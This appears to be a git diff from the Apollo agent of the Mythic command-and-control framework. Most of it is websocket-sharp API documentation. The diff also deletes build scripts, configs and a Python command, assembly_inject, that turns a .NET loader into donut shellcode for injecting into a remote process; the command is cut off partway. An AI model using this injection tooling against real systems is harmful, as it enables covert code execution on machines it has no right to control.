wait for the send to be complete. - - - A that represents the text data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from asynchronously to - every client in the WebSocket services. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends a ping to every client in the WebSocket services. - - - - A Dictionary<string, Dictionary<string, bool>>. - - - It represents a collection of pairs of a service path and another - collection of pairs of a session ID and a value indicating whether - a pong has been received from the client within a time. - - - - The current state of the manager is not Start. - - - - - Sends a ping with to every client in - the WebSocket services. - - - - A Dictionary<string, Dictionary<string, bool>>. - - - It represents a collection of pairs of a service path and another - collection of pairs of a session ID and a value indicating whether - a pong has been received from the client within a time. - - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - The current state of the manager is not Start. - - - could not be UTF-8-encoded. - - - The size of is greater than 125 bytes. - - - - - Removes all WebSocket services managed by the manager. - - - A service is stopped with close status 1001 (going away) - if it has already started. - - - - - Removes a WebSocket service with the specified . - - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - The service is stopped with close status 1001 (going away) - if it has already started. - - - - true if the service is successfully found and removed; - otherwise, false. - - - A that represents an absolute path to - the service to remove. - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Tries to get the host instance for a WebSocket service with - the specified . - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - true if the service is successfully found; - otherwise, false. - - - A that represents an absolute path to - the service to find. - - - - When this method returns, a - instance or if not found. - - - That host instance provides the function to access - the information in the service. - - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Provides the management function for the sessions in a WebSocket service. - - - This class manages the sessions in a WebSocket service provided by - the or . - - - - - Gets the IDs for the active sessions in the WebSocket service. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the IDs for the active sessions. - - - - - - Gets the number of the sessions in the WebSocket service. - - - An that represents the number of the sessions. - - - - - Gets the IDs for the sessions in the WebSocket service. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the IDs for the sessions. - - - - - - Gets the IDs for the inactive sessions in the WebSocket service. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the IDs for the inactive sessions. - - - - - - Gets the session instance with . - - - - A instance or - if not found. - - - The session instance provides the function to access the information - in the session. - - - - A that represents the ID of the session to find. - - - is . - - - is an empty string. - - - - - Gets or sets a value indicating whether the inactive sessions in - the WebSocket service are cleaned up periodically. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - true if the inactive sessions are cleaned up every 60 seconds; - otherwise, false. - - - - - Gets the session instances in the WebSocket service. - - - - An IEnumerable<IWebSocketSession> instance. - - - It provides an enumerator which supports the iteration over - the collection of the session instances. - - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - A to wait for the response. - - - The value specified for a set operation is zero or less. - - - - - Sends to every client in the WebSocket service. - - - An array of that represents the binary data to send. - - - The current state of the manager is not Start. - - - is . - - - - - Sends to every client in the WebSocket service. - - - A that represents the text data to send. - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from to every client in - the WebSocket service. - - - The data is sent as the binary data. - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - The current state of the manager is not Start. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends asynchronously to every client in - the WebSocket service. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - - Sends asynchronously to every client in - the WebSocket service. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from asynchronously to - every client in the WebSocket service. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends a ping to every client in the WebSocket service. - - - - A Dictionary<string, bool>. - - - It represents a collection of pairs of a session ID and - a value indicating whether a pong has been received from - the client within a time. - - - - The current state of the manager is not Start. - - - - - Sends a ping with to every client in - the WebSocket service. - - - - A Dictionary<string, bool>. - - - It represents a collection of pairs of a session ID and - a value indicating whether a pong has been received from - the client within a time. - - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - The current state of the manager is not Start. - - - could not be UTF-8-encoded. - - - The size of is greater than 125 bytes. - - - - - Closes the specified session. - - - A that represents the ID of the session to close. - - - is . - - - is an empty string. - - - The session could not be found. - - - - - Closes the specified session with and - . - - - A that represents the ID of the session to close. - - - - A that represents the status code indicating - the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - is . - - - - is an empty string. - - - -or- - - - is 1010 (mandatory extension). - - - -or- - - - is 1005 (no status) and there is - . - - - -or- - - - could not be UTF-8-encoded. - - - - The session could not be found. - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - - Closes the specified session with and - . - - - A that represents the ID of the session to close. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - is . - - - - is an empty string. - - - -or- - - - is - . - - - -or- - - - is - and there is - . - - - -or- - - - could not be UTF-8-encoded. - - - - The session could not be found. - - - The size of is greater than 123 bytes. - - - - - Sends a ping to the client using the specified session. - - - true if the send has done with no error and a pong has been - received from the client within a time; otherwise, false. - - - A that represents the ID of the session. - - - is . - - - is an empty string. - - - The session could not be found. - - - - - Sends a ping with to the client using - the specified session. - - - true if the send has done with no error and a pong has been - received from the client within a time; otherwise, false. - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - A that represents the ID of the session. - - - is . - - - - is an empty string. - - - -or- - - - could not be UTF-8-encoded. - - - - The session could not be found. - - - The size of is greater than 125 bytes. - - - - - Sends to the client using the specified session. - - - An array of that represents the binary data to send. - - - A that represents the ID of the session. - - - - is . - - - -or- - - - is . - - - - is an empty string. - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends to the client using the specified session. - - - A that represents the text data to send. - - - A that represents the ID of the session. - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - could not be UTF-8-encoded. - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends the data from to the client using - the specified session. - - - The data is sent as the binary data. - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - A that represents the ID of the session. - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends asynchronously to the client using - the specified session. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - A that represents the ID of the session. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - - is . - - - -or- - - - is . - - - - is an empty string. - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends asynchronously to the client using - the specified session. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - A that represents the ID of the session. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - could not be UTF-8-encoded. - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends the data from asynchronously to - the client using the specified session. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - A that represents the ID of the session. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Cleans up the inactive sessions in the WebSocket service. - - - - - Tries to get the session instance with . - - - true if the session is successfully found; otherwise, - false. - - - A that represents the ID of the session to find. - - - - When this method returns, a - instance or if not found. - - - The session instance provides the function to access - the information in the session. - - - - is . - - - is an empty string. - - - - - Implements the WebSocket interface. - - - The WebSocket class provides a set of methods and properties for two-way communication using - the WebSocket protocol (RFC 6455). - - - - - Represents the empty array of used internally. - - - - - Represents the length used to determine whether the data should be fragmented in sending. - - - - The data will be fragmented if that length is greater than the value of this field. - - - If you would like to change the value, you must set it to a value between 125 and - Int32.MaxValue - 14 inclusive. - - - - - - Represents the random number generator used internally. - - - - - Initializes a new instance of the class with - and . - - - A that specifies the URL of the WebSocket - server to connect. - - - - An array of that specifies the names of - the subprotocols if necessary. - - - Each value of the array must be a token defined in - - RFC 2616. - - - - is . - - - - is an empty string. - - - -or- - - - is an invalid WebSocket URL string. - - - -or- - - - contains a value that is not a token. - - - -or- - - - contains a value twice. - - - - - - Gets or sets the custom headers - - - - - Gets or sets the compression method used to compress a message. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - One of the enum values. - - - It represents the compression method used to compress a message. - - - The default value is . - - - - The set operation cannot be used by servers. - - - - - Gets the HTTP cookies included in the WebSocket handshake request and response. - - - An - instance that provides an enumerator which supports the iteration over the collection of - the cookies. - - - - - Gets the credentials for the HTTP authentication (Basic/Digest). - - - A that represents the credentials for - the authentication. The default value is . - - - - - Gets or sets a value indicating whether the emits - a event when receives a ping. - - - true if the emits a event - when receives a ping; otherwise, false. The default value is false. - - - - - Gets or sets a value indicating whether the URL redirection for - the handshake request is allowed. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - true if the URL redirection for the handshake request is - allowed; otherwise, false. - - - The default value is false. - - - - The set operation cannot be used by servers. - - - - - Gets the WebSocket extensions selected by the server. - - - A that represents the extensions if any. - The default value is . - - - - - Gets a value indicating whether the WebSocket connection is alive. - - - true if the connection is alive; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secure. - - - true if the connection is secure; otherwise, false. - - - - - Gets the logging functions. - - - The default logging level is . If you would like to change it, - you should set this Log.Level property to any of the enum - values. - - - A that provides the logging functions. - - - - - Gets or sets the value of the HTTP Origin header to send with - the handshake request. - - - - The HTTP Origin header is defined in - - Section 7 of RFC 6454. - - - This instance sends the Origin header if this property has any. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - - A that represents the value of the Origin - header to send. - - - The syntax is <scheme>://<host>[:<port>]. - - - The default value is . - - - - The set operation is not available if this instance is not a client. - - - - The value specified for a set operation is not an absolute URI string. - - - -or- - - - The value specified for a set operation includes the path segments. - - - - - - Gets the WebSocket subprotocol selected by the server. - - - A that represents the subprotocol if any. - The default value is . - - - - - Gets the state of the WebSocket connection. - - - One of the enum values that indicates - the current state of the connection. The default value is - . - - - - - Gets the configuration for secure connection. - - - This configuration will be referenced when attempts to connect, - so it must be configured before any connect method is called. - - - A that represents - the configuration used to establish a secure connection. - - - - This instance is not a client. - - - This instance does not use a secure connection. - - - - - - Gets the WebSocket URL used to connect, or accepted. - - - A that represents the URL used to connect, or accepted. - - - - - Gets or sets the time to wait for the response to the ping or close. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - A to wait for the response. - - - The default value is the same as 5 seconds if the instance is - a client. - - - - The value specified for a set operation is zero or less. - - - - - Occurs when the WebSocket connection has been closed. - - - - - Occurs when the gets an error. - - - - - Occurs when the receives a message. - - - - - Occurs when the WebSocket connection has been established. - - - - - Accepts the WebSocket handshake request. - - - This method is not available in a client. - - - - - Accepts the WebSocket handshake request asynchronously. - - - - This method does not wait for the accept to be complete. - - - This method is not available in a client. - - - - - - Closes the connection. - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - - Closes the connection with the specified . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - is less than 1000 or greater than 4999. - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - - - - Closes the connection with the specified . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - - - - Closes the connection with the specified and - . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Closes the connection with the specified and - . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The size of is greater than 123 bytes. - - - - - Closes the connection asynchronously. - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - - Closes the connection asynchronously with the specified - . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - is less than 1000 or greater than 4999. - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - - - - Closes the connection asynchronously with the specified - . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - - - - Closes the connection asynchronously with the specified - and . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Closes the connection asynchronously with the specified - and . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The size of is greater than 123 bytes. - - - - - Establishes a WebSocket connection. - - - This method is not available in a server. - - - - - Establishes a WebSocket connection asynchronously. - - - - This method does not wait for the connect to be complete. - - - This method is not available in a server. - - - - - - Sends a ping using the WebSocket connection. - - - true if the send has done with no error and a pong has been - received within a time; otherwise, false. - - - - - Sends a ping with using the WebSocket - connection. - - - true if the send has done with no error and a pong has been - received within a time; otherwise, false. - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - could not be UTF-8-encoded. - - - The size of is greater than 125 bytes. - - - - - Sends using the WebSocket connection. - - - An array of that represents the binary data to send. - - - The current state of the connection is not Open. - - - is . - - - - - Sends the specified file using the WebSocket connection. - - - The file is sent as the binary data. - - - A that specifies the file to send. - - - The current state of the connection is not Open. - - - is . - - - - The file does not exist. - - - -or- - - - The file could not be opened. - - - - - - Sends using the WebSocket connection. - - - A that represents the text data to send. - - - The current state of the connection is not Open. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from using the WebSocket - connection. - - - The data is sent as the binary data. - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - The current state of the connection is not Open. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends asynchronously using the WebSocket - connection. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - - - Sends the specified file asynchronously using the WebSocket connection. - - - - The file is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A that specifies the file to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - - The file does not exist. - - - -or- - - - The file could not be opened. - - - - - - Sends asynchronously using the WebSocket - connection. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from asynchronously using - the WebSocket connection. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sets an HTTP to send with - the WebSocket handshake request to the server. - - - This method is not available in a server. - - - A that represents a cookie to send. - - - - - Sets a pair of and for - the HTTP authentication (Basic/Digest). - - - This method is not available in a server. - - - - A that represents the user name used to authenticate. - - - If is or empty, - the credentials will be initialized and not be sent. - - - - A that represents the password for - used to authenticate. - - - true if the sends the credentials for - the Basic authentication with the first handshake request to the server; - otherwise, false. - - - - - Sets the HTTP proxy server URL to connect through, and if necessary, - a pair of and for - the proxy server authentication (Basic/Digest). - - - This method is not available in a server. - - - - A that represents the HTTP proxy server URL to - connect through. The syntax must be http://<host>[:<port>]. - - - If is or empty, - the url and credentials for the proxy will be initialized, - and the will not use the proxy to - connect through. - - - - - A that represents the user name used to authenticate. - - - If is or empty, - the credentials for the proxy will be initialized and not be sent. - - - - A that represents the password for - used to authenticate. - - - - - Closes the connection and releases all associated resources. - - - - This method closes the connection with close status 1001 (going away). - - - And this method does nothing if the current state of the connection is - Closing or Closed. - - - - - - The exception that is thrown when a fatal error occurs in - the WebSocket communication. - - - - - Gets the status code indicating the cause of the exception. - - - One of the enum values that represents - the status code indicating the cause of the exception. - - - - - Represents the ping frame without the payload data as an array of . - - - The value of this field is created from a non masked frame, so it can only be used to - send a ping from a server. - - - - - Indicates the state of a WebSocket connection. - - - The values of this enumeration are defined in - - The WebSocket API. - - - - - Equivalent to numeric value 0. Indicates that the connection has not - yet been established. - - - - - Equivalent to numeric value 1. Indicates that the connection has - been established, and the communication is possible. - - - - - Equivalent to numeric value 2. Indicates that the connection is - going through the closing handshake, or the close method has - been invoked. - - - - - Equivalent to numeric value 3. Indicates that the connection has - been closed or could not be established. - - - - diff --git a/Payload_Type/apollo/apollo/agent_code/postbuild.ps1 b/Payload_Type/apollo/apollo/agent_code/postbuild.ps1 deleted file mode 100644 index 503baa7a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/postbuild.ps1 +++ /dev/null @@ -1,32 +0,0 @@ -$ServerPath = "\\Win-3dma5kl5ghd\c$\Users\windev\Development\Apollo\Payload_Type\Apollo\agent_code\Apollo\bin\Debug\"; -$ClientPath = "\\COMPUTER01\c$\Users\windev\Development\Apollo\Payload_Type\Apollo\agent_code\Apollo\bin\Debug\"; -$WorkstationPath = "\\WORKSTATION01\c$\Users\windev\Development\Apollo\Payload_Type\Apollo\agent_code\Apollo\bin\Debug\"; -$localpath = "C:\Users\windev\Development\Apollo\Payload_Type\Apollo\agent_code\Apollo\bin\Debug\" - - -Get-ChildItem $localpath | % { - $name = $_.FullName; - Copy-Item -Force $_.FullName $ServerPath - if ($?) - { - Write-Host "[+] Copied $name to Domain Controller."; - } else { - Write-Host "[-] Failed to write $name to Domain Controller."; - } - - Copy-Item -Force $_.FullName $ClientPath - if ($?) - { - Write-Host "[+] Copied $name to Server 2012."; - } else { - Write-Host "[-] Failed to write $name to Server 2012."; - } - - Copy-Item -Force $_.FullName $WorkstationPath - if ($?) - { - Write-Host "[+] Copied $name to Windows 10."; - } else { - Write-Host "[-] Failed to write $name to Windows 10."; - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/.vscode/extensions.json b/Payload_Type/apollo/apollo/mythic/.vscode/extensions.json deleted file mode 100644 index ba653bcb..00000000 --- a/Payload_Type/apollo/apollo/mythic/.vscode/extensions.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "recommendations": [ - "ms-python.python" - ] -} diff --git a/Payload_Type/apollo/apollo/mythic/.vscode/launch.json b/Payload_Type/apollo/apollo/mythic/.vscode/launch.json deleted file mode 100644 index 17e15f27..00000000 --- a/Payload_Type/apollo/apollo/mythic/.vscode/launch.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - // Use IntelliSense to learn about possible attributes. - // Hover to view descriptions of existing attributes. - // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 - "version": "0.2.0", - "configurations": [ - { - "name": "Python: Current File", - "type": "python", - "request": "launch", - "program": "${file}", - "console": "integratedTerminal" - } - ] -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/__init__.py b/Payload_Type/apollo/apollo/mythic/__init__.py deleted file mode 100644 index 860fe37f..00000000 --- a/Payload_Type/apollo/apollo/mythic/__init__.py +++ /dev/null @@ -1,20 +0,0 @@ -import glob -import os.path -from pathlib import Path -from importlib import import_module, invalidate_caches -import sys -# Get file paths of all modules. - -currentPath = Path(__file__) -searchPath = currentPath.parent / "agent_functions" / "*.py" -modules = glob.glob(f"{searchPath}") -invalidate_caches() -for x in modules: - if not x.endswith("__init__.py") and x[-3:] == ".py": - module = import_module(f"{__name__}.agent_functions." + Path(x).stem) - for el in dir(module): - if "__" not in el: - globals()[el] = getattr(module, el) - - -sys.path.append(os.path.abspath(currentPath.name)) \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/__init__.py b/Payload_Type/apollo/apollo/mythic/agent_functions/__init__.py deleted file mode 100644 index 1ec42dde..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -import glob -from os.path import basename -# Get file paths of all modules. -modules = glob.glob('agent_functions/*.py') -__all__ = [basename(x)[:-3] for x in modules if x != "__init__.py"] diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/apollo.svg b/Payload_Type/apollo/apollo/mythic/agent_functions/apollo.svg deleted file mode 100644 index 1c6a779c..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/apollo.svg +++ /dev/null @@ -1,46 +0,0 @@ - - - -Created with Fabric.js 3.6.3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/assembly_inject.py b/Payload_Type/apollo/apollo/mythic/agent_functions/assembly_inject.py deleted file mode 100644 index 12ecc459..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/assembly_inject.py +++ /dev/null @@ -1,191 +0,0 @@ -from distutils.dir_util import copy_tree -import shutil -import tempfile -from mythic_container.MythicCommandBase import * -import json -from uuid import uuid4 -from os import path -from mythic_container.MythicRPC import * -import base64 -import asyncio -import donut - -EXEECUTE_ASSEMBLY_PATH = "/srv/ExecuteAssembly.exe" - -class AssemblyInjectArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="pid", - cli_name = "PID", - display_name = "Process ID", - type=ParameterType.Number, - description="Process ID to inject into.", - parameter_group_info = [ - ParameterGroupInfo( - required=True, - ui_position=1, - group_name="Default", - ), - ParameterGroupInfo( - required=True, group_name="New Assembly", ui_position=1, - ) - ]), - CommandParameter( - name="assembly_name", - cli_name="Assembly", - display_name="Assembly", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_files, - description="Assembly to execute (e.g., Seatbelt.exe).", - parameter_group_info = [ - ParameterGroupInfo( - required=True, - ui_position=2, - group_name="Default", - ), - ]), - CommandParameter( - name="assembly_file", - display_name="New Assembly", - type=ParameterType.File, - description="A new assembly to execute. After uploading once, you can just supply the assembly_name parameter", - parameter_group_info=[ - ParameterGroupInfo( - required=True, group_name="New Assembly", ui_position=2, - ) - ] - ), - CommandParameter( - name="assembly_arguments", - cli_name="Arguments", - display_name="Arguments", - type=ParameterType.String, - description="Arguments to pass to the assembly.", - parameter_group_info = [ - ParameterGroupInfo( - required=False, - ui_position=3, - group_name="Default", - ), - ParameterGroupInfo( - required=False, group_name="New Assembly", ui_position=3, - ) - ]), - ] - - async def get_files(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - CallbackID=inputMsg.Callback, - LimitByCallback=False, - Filename="", - )) - if file_resp.Success: - file_names = [] - for f in file_resp.Files: - if f.Filename not in file_names and f.Filename.endswith(".exe"): - file_names.append(f.Filename) - fileResponse.Success = True - fileResponse.Choices = file_names - return fileResponse - else: - fileResponse.Error = file_resp.Error - return fileResponse - - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - - -class AssemblyInjectCommand(CommandBase): - cmd = "assembly_inject" - needs_admin = False - help_cmd = "assembly_inject [pid] [assembly] [args]" - description = "Inject the unmanaged assembly loader into a remote process. The loader will then execute the .NET binary in the context of the injected process." - version = 3 - author = "@djhohnstein" - argument_class = AssemblyInjectArguments - attackmapping = ["T1055"] - - async def build_exeasm(self): - global EXEECUTE_ASSEMBLY_PATH - agent_build_path = tempfile.TemporaryDirectory() - outputPath = "{}/ExecuteAssembly/bin/Release/ExecuteAssembly.exe".format(agent_build_path.name) - copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/".format(agent_build_path.name, agent_build_path.name) - proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - if not path.exists(outputPath): - raise Exception("Failed to build ExecuteAssembly.exe:\n{}".format(stderr.decode())) - shutil.copy(outputPath, EXEECUTE_ASSEMBLY_PATH) - - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - global EXEECUTE_ASSEMBLY_PATH - taskData.args.add_arg("pipe_name", str(uuid4())) - if not path.exists(EXEECUTE_ASSEMBLY_PATH): - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"building injection stub" - )) - await self.build_exeasm() - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"generating stub shellcode" - )) - donutPic = donut.create(file=EXEECUTE_ASSEMBLY_PATH, params=taskData.args.get_arg("pipe_name")) - file_resp = await SendMythicRPCFileCreate(MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, - DeleteAfterFetch=True, - FileContents=donutPic - )) - if file_resp.Success: - taskData.args.add_arg("loader_stub_id", file_resp.AgentFileId) - else: - raise Exception("Failed to register assembly_inject DLL: " + file_resp.Error) - originalGroupNameIsDefault = taskData.args.get_parameter_group_name() == "Default" - if taskData.args.get_parameter_group_name() == "New Assembly": - fileSearchResp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - AgentFileID=taskData.args.get_arg("assembly_file") - )) - if not fileSearchResp.Success: - raise Exception(f"Failed to find uploaded file: {fileSearchResp.Error}") - if 